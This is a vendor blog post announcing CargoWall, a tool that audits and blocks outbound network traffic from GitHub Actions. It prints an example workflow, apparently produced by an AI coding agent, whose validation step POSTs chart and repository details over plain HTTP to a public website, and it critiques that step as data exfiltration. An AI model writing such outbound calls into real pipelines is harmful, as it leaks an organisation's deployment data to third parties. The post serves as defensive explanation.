We're Making GitHub Actions more Secure
)
Meet CargoWall, Open-Source Traffic Control for GitHub Actions
)
March 13, 2026
A few months ago, our engineering team noticed something interesting about our GitHub Actions workflows - the number of outbound network connections skyrocketed. Figuring out whats going on was very important to us because we use GitHub hosted runners. This means we have limited control over the network security policies of the underlying infrastructure.
To better understand what was going on, we built a GitHub Action (we call it CargoWall) to audit and enforce network security policies for our workflows. After using it for a few months, we realized this solves a new problem that affects organizations as they scale their AI coding agent usage - so we're going to open-source it.
What's the new GitHub Actions Attack Surface?
GitHub Actions are incredibly powerful, but are often complex to meet realistic use-cases. For example, building a library involves downloading a compiler, running CVE scans, signing artifacts, and uploading them to a registry. Deploying your application involves authenticating to the cloud, getting the right role/permissions, getting a copy of deployment scripts, and checking status of tickets. These pipelines often connect to many different endpoints which may or may not be trusted.
As an example, our GitHub Actions workflow that builds our app and deploys it to our shared dev environment connects to 56 unique endpoints. Many are expected, but some are not. For example,
actions/checkout@v4 and actions/setup-go@v5 reach out to static IP addresses to download Python scripts and binaries.
Organizations that self-host their GitHub runners are generally protected because they have full control of their network security firewalls, internal/external routing, and load balancers. However, organizations that leverage GitHub hosted runners don't have as many controls to protect the network traffic for their Actions.
What makes this threat new?
Technically this has been around since the inception of GitHub Actions. Traditionally, centralized DevOps or Platform Engineering teams would build GitHub Actions workflows by hand, ensure they follow best-practices, and keep them up-to-date. Now that AI coding agents have become mainstream, developers can offload these pipelines to agents. This leads to a large increase in the total number of GitHub Actions and workflows within enterprise organizations, exacerbating the threat.
Why is this worse than before?
There are 2 key issues that make this situation worse than before:
First, for organizations that leverage self-hosted runners with strong network controls, their GitHub Actions workflows often won't work. New workflows will need access to publicly available endpoints that are blocked by the firewall. This decreases developer productivity. It also puts the developer in a situation where they might try to "get around IT."
Second, for organizations that leverage GitHub hosted runners, their pipelines will work, but at the expense of weakened network security. For example, an organization might host their own Go module proxy; however, a new workflow might access a Go proxy on the Internet. This exposes the organization to network security threats such as data exfiltration or remote code execution.
What's the impact?
As more developers leverage AI coding agents, the number of GitHub Actions workflows will increase. These workflows are often not vetted by DevOps teams, Platform Engineers, or network security teams. As a result, the core automations that power the software supply chain will introduce more network security issues.
What an insecure GitHub Action looks like
The following is a GitHub Actions workflow designed to deploy a Helm Chart to Kubernetes. The developer asked an AI coding agent to create a GitHub Actions workflow to accomplish this task and stated the requirement that "Helm charts must be validated before deployment."
Here's the workflow that the GenAI coding agent produced:
name: Deploy to Kubernetes on: push: branches: - main jobs: deploy: runs-on: ubuntu-latest steps: - name: Checkout code uses: actions/checkout@v4 - name: Configure kubectl run: | echo "${{ secrets.KUBECONFIG }}" | base64 -d > kubeconfig export KUBECONFIG=kubeconfig - name: Install Helm uses: azure/setup-helm@v3 with: version: '3.12.0' - name: Validate chart run: | helm lint ./charts/myapp curl -X POST http://helm-playground.com/api/validate \ -H "Content-Type: application/json" \ -d "{\"chart\":\"myapp\",\"version\":\"$(helm show chart ./charts/myapp \ | grep version | cut -d' ' -f2)\",\"repo\":\"${{ github.repository }}\"}" - name: Deploy to Kubernetes run: | helm upgrade --install myapp ./charts/myapp \ --namespace production \ --create-namespace \ --kubeconfig kubeconfig \ --waitThis pipeline looks legitimate to your average developer, but there are key vulnerabilities.
Line 12: ✓ Source code is being checked out
Line 15: X Configure the kubeconfig file. This is a bit odd, organizations probably don't want to store their kubeconfig as a GitHub secret. The secure way to do this is via OIDC.
Line 20: ✓ Install Helm
Lines 25 - 31: X Validate the Helm chart. There's major problems with this:
- Line 28: the workflow submits a POST request to http://helm-playground.com/api/validate which is a publicly-available website. Uploading Helm charts to the public Internet is a data exfiltration risk
- Line 28:
/api/validateisn't a real endpoint - Line 28: the Helm chart is sent over HTTP so the payload is not encrypted, making the Helm chart available to anyone listening on the network
- Lines 30-31: specific details about the Helm chart are leaked, deployment patterns can be tracked over time
Line 33: ✓ Deploy the application to Kubernetes
This pipeline will most likely be approved for production deployment given that it looks "good enough." Luckily the pipeline will fail because
/api/validate doesn't exist and the curl command will return a 404 status code. However, the damage is already done because the Helm chart was uploaded to the Internet. And imagine a scenario where that endpoint is actually valid - this workflow would continue running until somebody noticed it wasn't working as intended.Risk summary
AI coding agents accelerate the entire software development process and empower developers. This leads to more GitHub Actions workflows, but they start doing things that you don't expect - including reaching out to the Internet and potentially malicious endpoints. Organizations need a way to have flexible network controls over their GitHub Actions, especially for GitHub hosted runners.
The Solution
Initially we built CargoWall to audit our GitHub Actions workflows because there was a large uptick in external network requests. Now CargoWall protects our entire organization from risky external network requests, especially for our GitHub hosted runners.
We will be open-sourcing CargoWall soon, and it provides the following key features:
- network proxy and eBPF traffic control layer
- audit (log) and enforce (block) modes of operation
- simple-to-use policy configuration
- full audit log support
- Link endpoint traffic with GitHub Actions job/step
- free hosted dashboard for public GitHub repositories
- free private GitHub repository support using GitHub Actions logs
In addition, you can use CargoWall in conjunction with CodeCargo Platform - here are the additional enhancements:
- Apply policies and policy groups to every GitHub Actions workflow in your organization
- Track audit readiness, trends, and firewall coverage
- Baseline network policy detection and recommendations
- Enforce GitHub Actions workflow guardrails across your entire organization (e.g., workflows must use the internal Go proxy)
We're incredibly excited about releasing CargoWall to the open-source community!
C
CodeCargo Team
The CodeCargo team writes about GitHub workflow automation, developer productivity, and DevOps best practices.